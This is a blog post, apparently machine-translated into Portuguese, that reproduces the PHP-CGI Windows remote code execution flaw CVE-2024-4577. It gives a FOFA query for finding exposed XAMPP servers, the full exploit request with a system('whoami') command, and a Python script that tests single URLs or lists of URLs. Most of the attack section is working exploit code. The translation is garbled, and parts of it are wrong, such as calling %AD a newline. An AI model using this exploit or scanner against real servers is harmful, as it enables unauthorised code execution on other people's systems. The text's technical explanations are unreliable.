Compartilhamento de tecnologia

[Recorrência de vulnerabilidade] PHP-CGI —— Melhor ajuste —— Execução de código (CVE-2024-4577)

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Isenção de responsabilidade: Este documento ou material de apresentação é apenas para fins educacionais e de ensino. Qualquer pessoa ou organização que utilize as informações deste documento para atividades ilegais não tem ligação com o autor ou editor deste documento.


Descrição da vulnerabilidade

PHP-CGI é uma interface para execução de scripts PHP em um servidor Web, conectando o interpretador PHP ao servidor Web através de CGI (Common Gateway Interface). PHP foi projetado para ignorar a conversão de caracteres no WindowsBest-Fitrecurso, quando o PHP-CGI está sendo executado na plataforma Windows e usa os seguintes idiomas (chinês simplificado 936/chinês tradicional 950/japonês 932, etc.), o invasor pode construir solicitações maliciosas para ignorar o patch CVE-2012-1823 , para que o invasor possa ignorar o patch CVE-2012-1823 sem fazer login. execução de código PHP arbitrário.

Recorrência de vulnerabilidade

1) Coleta de informações
fofa:app="XAMPP"
Insira a descrição da imagem aqui
Somos um grupo de desgraçados que estão sempre lutando contra o perigo e a loucura, mas também somos guardiões.
Insira a descrição da imagem aqui
2) Construir pacote de dados

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip

<?php echo "hello world!";?>
  • 1
  • 2
  • 3
  • 4

Explicação do código:

/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
  • 1

Essa carga útil é um vetor de ataque PHP Remote Command Execution (RCE) codificado em URL que explora opções de configuração PHP CGI para obter execução remota de código. A seguir está uma explicação detalhada da carga útil:

  1. /php-cgi/php-cgi.exe:

    • Este é o caminho solicitado, apontando para o arquivo executável PHP CGIphp-cgi.exe . PHP CGI é um interpretador PHP independente de servidor web, normalmente usado na linha de comando ou executado como um script CGI.
  2. Codificação de URL:

    • %ADé um caractere de nova linhanUma forma de codificação de URL, normalmente usada para inserir novas linhas em URLs, que pode ser usada para ignorar a filtragem de entrada em alguns casos.
    • %3dsim=Formulário de codificação de URL, usado para atribuir valores a variáveis.
  3. ?%ADd+cgi.force_redirect%3d0:

    • Tente configurar aquicgi.force_redirect Um valor 0 desativa o comportamento de redirecionamento do PHP CGI. Isso normalmente é usado para evitar que um script PHP salte automaticamente para o URL original solicitado após a execução.
  4. +%ADd+cgi.redirect_status_env:

    • Esta parte pode ser a configuraçãocgi.redirect_status_env , é uma diretiva na configuração do PHP usada quando o PHP está sendo executado como um processo CGI ou FastCGI. .
  5. +allow_url_include%3d1:

    • Defina aquiallow_url_include Um valor 1 permite que scripts PHP incluam arquivos de URLs. Este é um risco potencial à segurança porque permite que um invasor inclua arquivos remotos por meio do caminho do arquivo passado na URL.
  6. +auto_prepend_file%3dphp://input:

    • configurarauto_prepend_fileparaphp://input . Esta opção de configuração permite a inclusão automática de um arquivo antes de executar o script PHP.Quando definido paraphp://input , ele conterá os dados enviados via solicitação HTTP POST. Isso pode ser usado para executar código PHP arbitrário, pois um invasor pode enviar código malicioso por meio de uma solicitação POST.

Ao construir essa carga útil, o invasor tenta explorar as opções de configuração CGI do PHP para executar código remoto.definindoallow_url_includeeauto_prepend_file, um invasor pode enviar uma solicitação POST contendo código PHP, que será executado automaticamente.

Insira a descrição da imagem aqui
ecohello world, o código é analisado.
3) Outras operações também podem ser realizadas
Executando um pedido

<?php system('whoami');?>
  • 1

Insira a descrição da imagem aqui
Atenção: Milhares de pessoas, não, não, não façam coisas ilegais! ! !

ferramentas de teste

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
    
    :param url: 待检查的URL字符串
    """
    try:
        # 构造攻击URL,利用漏洞进行尝试
        attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        # 设置请求头信息
        headers = {
            'User-Agent': 'curl/8.3.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        # 设置请求体数据
        payload = "<?php echo '666666';?>"
        # 向服务器发送请求
        response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
        # 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
        if response.status_code == 200 and '666666' in response.text:
            print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 如果请求过程中发生异常,打印异常信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    解析命令行参数,根据参数执行漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
    # 添加URL参数,指定目标URL
    parser.add_argument('-u', '--url', help='指定目标URL')
    # 添加文件参数,指定包含多个URL的文本文件
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        # 调用漏洞检查函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件,读取每行作为URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 处理URL,确保其以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                # 调用漏洞检查函数
                check_vulnerability(url)

if __name__ == '__main__':
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

Execute a captura de tela
Insira a descrição da imagem aqui


O pequeno lótus acaba de revelar seus cantos afiados e uma libélula já está sobre ele.